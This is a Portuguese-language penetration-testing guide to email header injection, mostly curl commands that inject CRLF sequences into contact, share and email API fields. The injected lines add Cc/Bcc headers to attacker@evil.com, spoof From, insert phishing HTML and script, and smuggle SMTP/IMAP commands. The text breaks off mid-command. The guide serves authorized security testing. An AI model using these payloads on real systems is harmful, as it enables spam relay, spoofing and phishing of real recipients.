Testando Injeção de Cabeçalho de E-mail

Quando Usar

• Ao testar formulários de contato, formulários de feedback ou funcionalidades de "enviar para um amigo"
• Durante a avaliação da funcionalidade de e-mail de redefinição de senha
• Ao testar sistemas de assinatura de newsletter ou e-mails de notificação
• Durante testes de penetração de aplicações que enviam e-mails com base na entrada do usuário
• Ao auditar endpoints de API relacionados a e-mail para injeção de cabeçalho

Pré-requisitos

• Burp Suite para interceptar e modificar requisições HTTP
• Compreensão do protocolo SMTP e da estrutura de cabeçalho de e-mail
• Conhecimento de técnicas de injeção CRLF (sequências \r\n)
• Contas de e-mail de teste para receber e-mails injetados
• Acesso a funcionalidades da aplicação que disparam o envio de e-mails
• Acesso aos logs do servidor SMTP para monitorar tentativas de injeção

Fluxo de Trabalho

Passo 1 — Identificar Pontos de Injeção de E-mail

# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields

# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms

# Test basic functionality first
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com&subject=Hello&message=Test message"

Passo 2 — Testar Injeção de Cabeçalho CRLF

# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test"

# Inject BCC header
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test"

# Inject via the name field
curl -X POST http://target.com/contact \
  -d "name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test"

# Inject via subject field
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test"

# Try different CRLF encoding variants
# %0D%0A (CRLF)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0D%0ACc:attacker@evil.com"

# %0A (LF only)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0ACc:attacker@evil.com"

# %0D (CR only)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0DCc:attacker@evil.com"

# Double encoding
curl -X POST http://target.com/contact \
  -d "email=test@test.com%250ACc:attacker@evil.com"

Passo 3 — Injetar Conteúdo Personalizado de E-mail

# Override email body by injecting Content-Type and body
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"

# Inject additional MIME parts
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"

# Override From header for email spoofing
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AFrom:ceo@target.com"

# Inject Reply-To for phishing
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AReply-To:attacker@evil.com"

Passo 4 — Testar Injeção IMAP/SMTP

# IMAP command injection via email field
curl -X POST http://target.com/webmail/search \
  -d "query=test%0AEXAMINE INBOX"

# SMTP command injection
curl -X POST http://target.com/api/send \
  -d "to=test@test.com%0ARCPT TO:attacker@evil.com"

# SMTP VRFY command injection
curl -X POST http://target.com/api/verify \
  -d "email=test@test.com%0AVRFY admin"

# Test SMTP relay abuse
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com"

Passo 5 — Testar APIs de E-mail Baseadas em JSON

# Injeção de cabeçalho em API JSON
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"test@test.com\nCc:attacker@evil.com","subject":"Test","body":"Test"}'

# Injeção de array para múltiplos destinatários
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":["test@test.com","attacker@evil.com"],"subject":"Test","body":"Test"}'

# Injeção de template no corpo do e-mail
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \

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